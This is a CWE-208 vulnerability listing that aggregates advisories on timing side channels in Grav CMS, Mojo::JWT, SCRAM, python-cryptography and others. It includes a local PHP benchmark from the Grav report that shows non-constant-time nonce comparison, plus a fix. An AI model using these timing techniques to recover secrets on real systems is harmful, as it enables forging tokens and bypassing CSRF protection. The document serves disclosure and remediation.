Common Weakness Enumeration

CWE-208

Allowed

Observable Timing Discrepancy

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

Two separate operations in a product require different amounts of time to complete, in a way that is observable to an actor and reveals security-relevant information about the state of the product, such as whether a particular operation was successful or not.

394 vulnerabilities reference this CWE, most recent first.

GHSA-38P6-H87P-R4CG

Vulnerability from github – Published: 2026-09-17 20:25 – Updated: 2026-09-17 20:25
VLAI
Summary
Grav: Non constant time nonce comparison in Utils::verifyNonce() used for CSRF protection
Details

Summary

Grav\Common\Utils::verifyNonce(), the core function Grav and its plugins use to validate CSRF nonces, compares the submitted nonce to the expected value with PHP's === operator instead of hash_equals(). === on strings short circuits at the first differing byte, so the comparison time leaks how many leading bytes of a guess are correct. This is CWE-208, Observable Timing Discrepancy.

The codebase already knows to avoid this pattern. hash_equals() is used for the equivalent purpose in four other places I found: system/src/Grav/Common/Session.php, system/src/Grav/Framework/Cache/Adapter/FileCache.php, system/src/Grav/Common/Scheduler/Scheduler.php (the webhook token check), and system/src/Grav/Common/Scheduler/JobQueue.php. Utils::verifyNonce() is the one place I found that still uses a plain equality check for a secret comparison.

Affected product and version

Product: Grav CMS, getgrav/grav Confirmed present in: 2.0.15, commit c2b46866857a93a0aa7048e7ed707ed3ed45dbc3

Affected code

system/src/Grav/Common/Utils.php, lines 1512 to 1521:

public static function verifyNonce($nonce, $action)
{
    //Safety check for multiple nonces
    if (is_array($nonce)) {
        $nonce = array_shift($nonce);
    }

    //Nonce generated 0-12 hours ago
    if ($nonce === self::getNonce($action)) {
        return true;
    }

    //Nonce generated 12-24 hours ago
    return $nonce === self::getNonce($action, true);
}

The nonce itself is md5($tick . '|' . $action . '|' . $username . '|' . session_id() . '|' . Security::getNonceKey()), computed in the private generateNonceString() a few lines above. Security::getNonceKey() is an installation level secret. So the value being compared with === is a value derived from a secret, which is exactly the case hash_equals() exists for.

Proof of concept, verified, real output

I could not exploit this end to end over a real network from this sandbox, since that requires a live deployment and a timing measurement setup outside a single machine. What I did verify directly, by running real code, is that the underlying primitive this function relies on, PHP's === string comparison, is not constant time in the PHP build actually used here, and that a measurable timing signal is still present at the exact length Grav's nonces have, 32 hex characters, an md5 digest.

Step 1, confirm PHP build:

$ php -v
PHP 8.3.6 (cli) (built: Jul 16 2026 18:30:41) (NTS)

Step 2, benchmark script, measures the median time of $a === $b over many trials, once with a long string to establish a clean signal, once at the real 32 byte nonce length:

<?php
// timing_poc2.php
function timeCompare(string $a, string $b, int $iterations): float {
    $r = null;
    $start = hrtime(true);
    for ($i = 0; $i < $iterations; $i++) {
        $r = ($a === $b);
    }
    $end = hrtime(true);
    return ($end - $start) / $iterations;
}

function median(array $arr): float {
    sort($arr);
    $n = count($arr);
    $mid = intdiv($n, 2);
    return $n % 2 ? $arr[$mid] : ($arr[$mid - 1] + $arr[$mid]) / 2;
}

function runExperiment(int $len, int $iterations, int $trials): array {
    $secret = bin2hex(random_bytes((int)ceil($len / 2)));
    $secret = substr($secret, 0, $len);

    $wrongEarly = $secret;
    $wrongEarly[0] = ($secret[0] === 'a') ? 'b' : 'a';

    $wrongLate = $secret;
    $last = $len - 1;
    $wrongLate[$last] = ($secret[$last] === 'a') ? 'b' : 'a';

    $earlyTimes = [];
    $lateTimes = [];
    timeCompare($wrongEarly, $secret, 20000);
    timeCompare($wrongLate, $secret, 20000);
    for ($t = 0; $t < $trials; $t++) {
        $earlyTimes[] = timeCompare($wrongEarly, $secret, $iterations);
        $lateTimes[]  = timeCompare($wrongLate, $secret, $iterations);
    }
    return [median($earlyTimes), median($lateTimes)];
}

echo "=== Length 4096 bytes, establishes the primitive is not constant time ===\n";
[$e, $l] = runExperiment(4096, 20000, 15);
printf("Median mismatch at position 0    : %.2f ns/op\n", $e);
printf("Median mismatch at last position : %.2f ns/op\n", $l);
printf("Ratio (late/early)               : %.2fx\n\n", $l / $e);

echo "=== Length 32 bytes, the actual Grav nonce length, md5 hex output ===\n";
[$e2, $l2] = runExperiment(32, 200000, 21);
printf("Median mismatch at position 0    : %.2f ns/op\n", $e2);
printf("Median mismatch at last position : %.2f ns/op\n", $l2);
printf("Ratio (late/early)               : %.2fx\n", $l2 / $e2);

Step 3, run it three times to confirm the result is reproducible and not noise:

$ php timing_poc2.php

Actual output, run 1:

=== Length 4096 bytes, establishes the primitive is not constant time ===
Median mismatch at position 0    : 13.83 ns/op
Median mismatch at last position : 338.58 ns/op
Ratio (late/early)               : 24.48x

=== Length 32 bytes, the actual Grav nonce length, md5 hex output ===
Median mismatch at position 0    : 14.13 ns/op
Median mismatch at last position : 17.41 ns/op
Ratio (late/early)               : 1.23x

Actual output, run 2:

=== Length 4096 bytes, establishes the primitive is not constant time ===
Median mismatch at position 0    : 14.25 ns/op
Median mismatch at last position : 333.99 ns/op
Ratio (late/early)               : 23.44x

=== Length 32 bytes, the actual Grav nonce length, md5 hex output ===
Median mismatch at position 0    : 13.83 ns/op
Median mismatch at last position : 17.24 ns/op
Ratio (late/early)               : 1.25x

Actual output, run 3:

=== Length 4096 bytes, establishes the primitive is not constant time ===
Median mismatch at position 0    : 14.20 ns/op
Median mismatch at last position : 336.89 ns/op
Ratio (late/early)               : 23.73x

=== Length 32 bytes, the actual Grav nonce length, md5 hex output ===
Median mismatch at position 0    : 13.98 ns/op
Median mismatch at last position : 17.39 ns/op
Ratio (late/early)               : 1.24x

Interpretation, stated honestly. At 4096 bytes the effect is unambiguous and consistent across three independent runs, a mismatch near the end of the string takes about 23 to 24 times longer to reject than a mismatch at the very first byte, which is direct proof === is not constant time in this PHP build. At the real nonce length of 32 bytes the same direction of effect is present and reproducible across all three runs, roughly a 1.24x ratio, about 3 to 4 nanoseconds difference per comparison, but the signal is much smaller in absolute terms. I want to be direct about what this does and does not show. It proves the comparison used by verifyNonce() is not constant time and therefore not the right primitive for comparing secrets, which is why hash_equals() exists and is already used elsewhere in this codebase for the same category of check. It does not by itself prove a practical remote timing attack against a live Grav install, since a real attack would need to extract a nanosecond scale signal through normal HTTP round trip jitter, which is a much harder, though not unprecedented, condition and would need many repeated requests with statistical averaging per byte guessed. I did not attempt that network level attack since I do not have a live target instance.

Impact

verifyNonce() is Grav's documented core primitive for CSRF protection, used directly by core and referenced by the plugin ecosystem, including the Form plugin and Admin plugin, both outside this repository. Because the comparison is not constant time, an attacker in a position to send many requests and measure response timing with enough precision could in principle recover a valid nonce byte by byte rather than needing to guess the full 32 character value at once, weakening the CSRF protection below its intended security margin. The practical difficulty of pulling this off over a real network, given millisecond scale jitter against a nanosecond scale signal, is high, which is why I am reporting this as a hardening issue rather than claiming a demonstrated working exploit against a live site.

Suggested fix

Replace the two === comparisons in verifyNonce() with hash_equals(), matching the pattern already used in Session.php, FileCache.php, Scheduler.php, and JobQueue.php:

public static function verifyNonce($nonce, $action)
{
    if (is_array($nonce)) {
        $nonce = array_shift($nonce);
    }

    if (!is_string($nonce)) {
        return false;
    }

    if (hash_equals(self::getNonce($action), $nonce)) {
        return true;
    }

    return hash_equals(self::getNonce($action, true), $nonce);
}

hash_equals() also correctly requires the first argument to be a string, so the existing implicit array-to-string edge cases are worth double checking when you make this change.

=========================================================== CWE FIELD =========================================================== CWE-208, Observable Timing Discrepancy

=========================================================== CVSS CALCULATOR SELECTIONS (v3.1) =========================================================== Attack Vector: Network Attack Complexity: High Privileges Required: None User Interaction: None Scope: Unchanged Confidentiality: None Integrity: Low Availability: None

Resulting vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N Resulting score: 5.3, severity Medium

Note for the maintainer: Attack Complexity is set to High because, as shown above, the measured timing signal at the real nonce length is small, on the order of a few nanoseconds, so reliable remote exploitation would require substantial statistical averaging and a favorable network position. If your own testing shows this is easier to exploit against a real deployment than my local measurement suggests, please rescore Attack Complexity to Low.

=========================================================== SEVERITY FIELD =========================================================== Moderate

Severity
3.7 (Low)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.0.15"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "getgrav/grav"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.0.16"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-72701"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-208"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-17T20:25:05Z",
    "nvd_published_at": null,
    "severity": "LOW"
  },
  "details": "## Summary\n\n`Grav\\Common\\Utils::verifyNonce()`, the core function Grav and its plugins use to validate CSRF nonces, compares the submitted nonce to the expected value with PHP\u0027s `===` operator instead of `hash_equals()`. `===` on strings short circuits at the first differing byte, so the comparison time leaks how many leading bytes of a guess are correct. This is CWE-208, Observable Timing Discrepancy.\n\nThe codebase already knows to avoid this pattern. `hash_equals()` is used for the equivalent purpose in four other places I found: `system/src/Grav/Common/Session.php`, `system/src/Grav/Framework/Cache/Adapter/FileCache.php`, `system/src/Grav/Common/Scheduler/Scheduler.php` (the webhook token check), and `system/src/Grav/Common/Scheduler/JobQueue.php`. `Utils::verifyNonce()` is the one place I found that still uses a plain equality check for a secret comparison.\n\n## Affected product and version\n\nProduct: Grav CMS, getgrav/grav\nConfirmed present in: 2.0.15, commit c2b46866857a93a0aa7048e7ed707ed3ed45dbc3\n\n## Affected code\n\n`system/src/Grav/Common/Utils.php`, lines 1512 to 1521:\n```php\npublic static function verifyNonce($nonce, $action)\n{\n    //Safety check for multiple nonces\n    if (is_array($nonce)) {\n        $nonce = array_shift($nonce);\n    }\n\n    //Nonce generated 0-12 hours ago\n    if ($nonce === self::getNonce($action)) {\n        return true;\n    }\n\n    //Nonce generated 12-24 hours ago\n    return $nonce === self::getNonce($action, true);\n}\n```\n\nThe nonce itself is `md5($tick . \u0027|\u0027 . $action . \u0027|\u0027 . $username . \u0027|\u0027 . session_id() . \u0027|\u0027 . Security::getNonceKey())`, computed in the private `generateNonceString()` a few lines above. `Security::getNonceKey()` is an installation level secret. So the value being compared with `===` is a value derived from a secret, which is exactly the case `hash_equals()` exists for.\n\n## Proof of concept, verified, real output\n\nI could not exploit this end to end over a real network from this sandbox, since that requires a live deployment and a timing measurement setup outside a single machine. What I did verify directly, by running real code, is that the underlying primitive this function relies on, PHP\u0027s `===` string comparison, is not constant time in the PHP build actually used here, and that a measurable timing signal is still present at the exact length Grav\u0027s nonces have, 32 hex characters, an md5 digest.\n\nStep 1, confirm PHP build:\n```\n$ php -v\nPHP 8.3.6 (cli) (built: Jul 16 2026 18:30:41) (NTS)\n```\n\nStep 2, benchmark script, measures the median time of `$a === $b` over many trials, once with a long string to establish a clean signal, once at the real 32 byte nonce length:\n```php\n\u003c?php\n// timing_poc2.php\nfunction timeCompare(string $a, string $b, int $iterations): float {\n    $r = null;\n    $start = hrtime(true);\n    for ($i = 0; $i \u003c $iterations; $i++) {\n        $r = ($a === $b);\n    }\n    $end = hrtime(true);\n    return ($end - $start) / $iterations;\n}\n\nfunction median(array $arr): float {\n    sort($arr);\n    $n = count($arr);\n    $mid = intdiv($n, 2);\n    return $n % 2 ? $arr[$mid] : ($arr[$mid - 1] + $arr[$mid]) / 2;\n}\n\nfunction runExperiment(int $len, int $iterations, int $trials): array {\n    $secret = bin2hex(random_bytes((int)ceil($len / 2)));\n    $secret = substr($secret, 0, $len);\n\n    $wrongEarly = $secret;\n    $wrongEarly[0] = ($secret[0] === \u0027a\u0027) ? \u0027b\u0027 : \u0027a\u0027;\n\n    $wrongLate = $secret;\n    $last = $len - 1;\n    $wrongLate[$last] = ($secret[$last] === \u0027a\u0027) ? \u0027b\u0027 : \u0027a\u0027;\n\n    $earlyTimes = [];\n    $lateTimes = [];\n    timeCompare($wrongEarly, $secret, 20000);\n    timeCompare($wrongLate, $secret, 20000);\n    for ($t = 0; $t \u003c $trials; $t++) {\n        $earlyTimes[] = timeCompare($wrongEarly, $secret, $iterations);\n        $lateTimes[]  = timeCompare($wrongLate, $secret, $iterations);\n    }\n    return [median($earlyTimes), median($lateTimes)];\n}\n\necho \"=== Length 4096 bytes, establishes the primitive is not constant time ===\\n\";\n[$e, $l] = runExperiment(4096, 20000, 15);\nprintf(\"Median mismatch at position 0    : %.2f ns/op\\n\", $e);\nprintf(\"Median mismatch at last position : %.2f ns/op\\n\", $l);\nprintf(\"Ratio (late/early)               : %.2fx\\n\\n\", $l / $e);\n\necho \"=== Length 32 bytes, the actual Grav nonce length, md5 hex output ===\\n\";\n[$e2, $l2] = runExperiment(32, 200000, 21);\nprintf(\"Median mismatch at position 0    : %.2f ns/op\\n\", $e2);\nprintf(\"Median mismatch at last position : %.2f ns/op\\n\", $l2);\nprintf(\"Ratio (late/early)               : %.2fx\\n\", $l2 / $e2);\n```\n\nStep 3, run it three times to confirm the result is reproducible and not noise:\n```\n$ php timing_poc2.php\n```\n\nActual output, run 1:\n```\n=== Length 4096 bytes, establishes the primitive is not constant time ===\nMedian mismatch at position 0    : 13.83 ns/op\nMedian mismatch at last position : 338.58 ns/op\nRatio (late/early)               : 24.48x\n\n=== Length 32 bytes, the actual Grav nonce length, md5 hex output ===\nMedian mismatch at position 0    : 14.13 ns/op\nMedian mismatch at last position : 17.41 ns/op\nRatio (late/early)               : 1.23x\n```\n\nActual output, run 2:\n```\n=== Length 4096 bytes, establishes the primitive is not constant time ===\nMedian mismatch at position 0    : 14.25 ns/op\nMedian mismatch at last position : 333.99 ns/op\nRatio (late/early)               : 23.44x\n\n=== Length 32 bytes, the actual Grav nonce length, md5 hex output ===\nMedian mismatch at position 0    : 13.83 ns/op\nMedian mismatch at last position : 17.24 ns/op\nRatio (late/early)               : 1.25x\n```\n\nActual output, run 3:\n```\n=== Length 4096 bytes, establishes the primitive is not constant time ===\nMedian mismatch at position 0    : 14.20 ns/op\nMedian mismatch at last position : 336.89 ns/op\nRatio (late/early)               : 23.73x\n\n=== Length 32 bytes, the actual Grav nonce length, md5 hex output ===\nMedian mismatch at position 0    : 13.98 ns/op\nMedian mismatch at last position : 17.39 ns/op\nRatio (late/early)               : 1.24x\n```\n\nInterpretation, stated honestly. At 4096 bytes the effect is unambiguous and consistent across three independent runs, a mismatch near the end of the string takes about 23 to 24 times longer to reject than a mismatch at the very first byte, which is direct proof `===` is not constant time in this PHP build. At the real nonce length of 32 bytes the same direction of effect is present and reproducible across all three runs, roughly a 1.24x ratio, about 3 to 4 nanoseconds difference per comparison, but the signal is much smaller in absolute terms. I want to be direct about what this does and does not show. It proves the comparison used by `verifyNonce()` is not constant time and therefore not the right primitive for comparing secrets, which is why `hash_equals()` exists and is already used elsewhere in this codebase for the same category of check. It does not by itself prove a practical remote timing attack against a live Grav install, since a real attack would need to extract a nanosecond scale signal through normal HTTP round trip jitter, which is a much harder, though not unprecedented, condition and would need many repeated requests with statistical averaging per byte guessed. I did not attempt that network level attack since I do not have a live target instance.\n\n## Impact\n\n`verifyNonce()` is Grav\u0027s documented core primitive for CSRF protection, used directly by core and referenced by the plugin ecosystem, including the Form plugin and Admin plugin, both outside this repository. Because the comparison is not constant time, an attacker in a position to send many requests and measure response timing with enough precision could in principle recover a valid nonce byte by byte rather than needing to guess the full 32 character value at once, weakening the CSRF protection below its intended security margin. The practical difficulty of pulling this off over a real network, given millisecond scale jitter against a nanosecond scale signal, is high, which is why I am reporting this as a hardening issue rather than claiming a demonstrated working exploit against a live site.\n\n## Suggested fix\n\nReplace the two `===` comparisons in `verifyNonce()` with `hash_equals()`, matching the pattern already used in `Session.php`, `FileCache.php`, `Scheduler.php`, and `JobQueue.php`:\n```php\npublic static function verifyNonce($nonce, $action)\n{\n    if (is_array($nonce)) {\n        $nonce = array_shift($nonce);\n    }\n\n    if (!is_string($nonce)) {\n        return false;\n    }\n\n    if (hash_equals(self::getNonce($action), $nonce)) {\n        return true;\n    }\n\n    return hash_equals(self::getNonce($action, true), $nonce);\n}\n```\n`hash_equals()` also correctly requires the first argument to be a string, so the existing implicit array-to-string edge cases are worth double checking when you make this change.\n\n===========================================================\nCWE FIELD\n===========================================================\nCWE-208, Observable Timing Discrepancy\n\n===========================================================\nCVSS CALCULATOR SELECTIONS (v3.1)\n===========================================================\nAttack Vector: Network\nAttack Complexity: High\nPrivileges Required: None\nUser Interaction: None\nScope: Unchanged\nConfidentiality: None\nIntegrity: Low\nAvailability: None\n\nResulting vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N\nResulting score: 5.3, severity Medium\n\nNote for the maintainer: Attack Complexity is set to High because, as shown above, the measured timing signal at the real nonce length is small, on the order of a few nanoseconds, so reliable remote exploitation would require substantial statistical averaging and a favorable network position. If your own testing shows this is easier to exploit against a real deployment than my local measurement suggests, please rescore Attack Complexity to Low.\n\n===========================================================\nSEVERITY FIELD\n===========================================================\nModerate",
  "id": "GHSA-38p6-h87p-r4cg",
  "modified": "2026-09-17T20:25:05Z",
  "published": "2026-09-17T20:25:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/security/advisories/GHSA-38p6-h87p-r4cg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-72701"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/getgrav/grav"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/grav-cms-before-timing-attack-via-verifynonce"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Grav: Non constant time nonce comparison in Utils::verifyNonce() used for CSRF protection"
}

GHSA-3JG7-GHG4-5PXR

Vulnerability from github – Published: 2023-10-19 12:30 – Updated: 2024-02-16 21:31
VLAI
Details

The AES implementation in the Texas Instruments OMAP L138 (secure variants), present in mask ROM, suffers from a timing side channel which can be exploited by an adversary with non-secure supervisor privileges by managing cache contents and collecting timing information for different ciphertext inputs. Using this side channel, the SK_LOAD secure kernel routine can be used to recover the Customer Encryption Key (CEK).

Severity
4.4 (Medium)
CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-25332"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-203",
      "CWE-208"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-10-19T10:15:09Z",
    "severity": "MODERATE"
  },
  "details": "The AES implementation in the Texas Instruments OMAP L138 (secure variants), present in mask ROM, suffers from a timing side channel which can be exploited by an adversary with non-secure supervisor privileges by managing cache contents and collecting timing information for different ciphertext inputs. Using this side channel, the SK_LOAD secure kernel routine can be used to recover the Customer Encryption Key (CEK).",
  "id": "GHSA-3jg7-ghg4-5pxr",
  "modified": "2024-02-16T21:31:31Z",
  "published": "2023-10-19T12:30:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-25332"
    },
    {
      "type": "WEB",
      "url": "https://tetraburst.com"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-3RP9-GQ85-W2MF

Vulnerability from github – Published: 2026-07-17 18:31 – Updated: 2026-07-20 21:31
VLAI
Details

Mojo::JWT versions before 1.02 for Perl verify HMAC signatures with a non-constant-time string comparison.

The decode() method compares the supplied signature to the recomputed HMAC with Perl's eq operator, which stops at the first differing byte, so the comparison time varies with the number of matching leading bytes.

A caller that decodes attacker supplied tokens leaks the expected signature through this timing variation, which can be aggregated over many requests to recover the signature and forge a token.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-9537"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-208"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-17T16:17:20Z",
    "severity": "MODERATE"
  },
  "details": "Mojo::JWT versions before 1.02 for Perl verify HMAC signatures with a non-constant-time string comparison.\n\nThe decode() method compares the supplied signature to the recomputed HMAC with Perl\u0027s eq operator, which stops at the first differing byte, so the comparison time varies with the number of matching leading bytes.\n\nA caller that decodes attacker supplied tokens leaks the expected signature through this timing variation, which can be aggregated over many requests to recover the signature and forge a token.",
  "id": "GHSA-3rp9-gq85-w2mf",
  "modified": "2026-07-20T21:31:43Z",
  "published": "2026-07-17T18:31:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-9537"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jberger/Mojo-JWT/commit/b8aefb846613e44b5b12bc170898ffd5b05094a2.patch"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/07/17/11"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-3WFH-36RX-9537

Vulnerability from github – Published: 2025-09-16 22:20 – Updated: 2026-01-23 17:28
VLAI
Summary
Timing Attack Vulnerability in SCRAM Authentication
Details

Impact

A timing attack vulnerability exists in the SCRAM Java implementation. The issue arises because Arrays.equals was used to compare secret values such as client proofs and server signatures. Since Arrays.equals performs a short-circuit comparison, the execution time varies depending on how many leading bytes match. This behavior could allow an attacker to perform a timing side-channel attack and potentially infer sensitive authentication material. All users relying on SCRAM authentication are impacted.

Patches

This vulnerability has been patched by replacing Arrays.equals with MessageDigest.isEqual, which ensures constant-time comparison.

Users should upgrade to version 3.2 or later to mitigate this issue.

Workarounds

Because the attack requires high precision and repeated attempts, the risk is limited, but the only reliable mitigation is to upgrade to a patched release (version 3.2 or later).

References

Severity
6.6 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:U
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.ongres.scram:scram-common"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-59432"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-208",
      "CWE-385"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-09-16T22:20:08Z",
    "nvd_published_at": "2025-09-22T20:15:38Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\n\nA timing attack vulnerability exists in the SCRAM Java implementation. The issue arises because `Arrays.equals` was used to compare secret values such as client proofs and server signatures. Since `Arrays.equals` performs a short-circuit comparison, the execution time varies depending on how many leading bytes match. This behavior could allow an attacker to perform a timing side-channel attack and potentially infer sensitive authentication material. All users relying on SCRAM authentication are impacted.\n\n### Patches\n\nThis vulnerability has been patched by replacing `Arrays.equals` with `MessageDigest.isEqual`, which ensures constant-time comparison.\n\nUsers should upgrade to version **3.2** or later to mitigate this issue.\n\n### Workarounds\n\nBecause the attack requires high precision and repeated attempts, the risk is limited, but the only reliable mitigation is to upgrade to a patched release (version 3.2 or later).\n\n### References\n\n- [Java `MessageDigest.isEqual` Documentation](https://docs.oracle.com/en/java/javase/25/docs/api/java.base/java/security/MessageDigest.html#isEqual(byte[],byte[]))",
  "id": "GHSA-3wfh-36rx-9537",
  "modified": "2026-01-23T17:28:00Z",
  "published": "2025-09-16T22:20:08Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ongres/scram/security/advisories/GHSA-3wfh-36rx-9537"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59432"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ongres/scram/commit/e0b0cf99f05406a0d26682c72fcb5728e95124b3"
    },
    {
      "type": "WEB",
      "url": "https://docs.oracle.com/en/java/javase/25/docs/api/java.base/java/security/MessageDigest.html#isEqual(byte%5B%5D,byte%5B%5D)"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ongres/scram"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:U",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Timing Attack Vulnerability in SCRAM Authentication"
}

GHSA-3WW4-GG4F-JR7F

Vulnerability from github – Published: 2024-02-05 21:30 – Updated: 2026-02-27 20:57
VLAI
Summary
Python Cryptography package vulnerable to Bleichenbacher timing oracle attack
Details

A flaw was found in the python-cryptography package. This issue may allow a remote attacker to decrypt captured messages in TLS servers that use RSA key exchanges, which may lead to exposure of confidential or sensitive data.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "cryptography"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "42.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-50782"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-203",
      "CWE-208",
      "CWE-385"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-02-05T23:04:50Z",
    "nvd_published_at": "2024-02-05T21:15:11Z",
    "severity": "HIGH"
  },
  "details": "A flaw was found in the python-cryptography package. This issue may allow a remote attacker to decrypt captured messages in TLS servers that use RSA key exchanges, which may lead to exposure of confidential or sensitive data.",
  "id": "GHSA-3ww4-gg4f-jr7f",
  "modified": "2026-02-27T20:57:35Z",
  "published": "2024-02-05T21:30:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-50782"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pyca/cryptography/issues/9785"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2023-50782"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2254432"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pyca/cryptography"
    },
    {
      "type": "WEB",
      "url": "https://www.couchbase.com/alerts"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Python Cryptography package vulnerable to Bleichenbacher timing oracle attack"
}

GHSA-43FJ-QP3H-HRH5

Vulnerability from github – Published: 2026-04-15 18:57 – Updated: 2026-05-12 13:31
VLAI
Summary
Sync-in Server has Username Enumeration via Timing Attack
Details

Summary

The /api/auth/login endpoint contains a logic flaw that allows unauthenticated remote attackers to enumerate valid usernames by measuring the application's response time.

Details

The logic flaw can be located at the below point in source: https://github.com/Sync-in/server/blob/7868bb2b3025f92e6c38087456304758713971b2/backend/src/applications/users/services/users-queries.service.ts#L91-L95

Endpoints used for authentication should respond to the user with a consistent cadence, preventing remote actors from deriving sensitive information about an application based on backend behavior. In the case of authentication endpoints, this timing discrepancy is often caused by short-circuiting due to the lack of a matched user to compare against - as is the case with Sync-in.

Validation

TickTock Enum (Burp Suite Extension) was utilized to validate this finding. Authentication attempts with a valid username see a response from the application at around 350-400ms on average, while invalid usernames are returned at only 95-100ms on average. image

Impact

An unauthenticated remote attacker can enumerate valid usernames. This significantly weakens the application's security posture by facilitating targeted brute-force attacks, stuffing, social engineering, and a suite of other more targeted attacks.

Severity
6.9 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.1.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@sync-in/server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.2.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41161"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-208"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-15T18:57:50Z",
    "nvd_published_at": "2026-05-08T14:16:33Z",
    "severity": "MODERATE"
  },
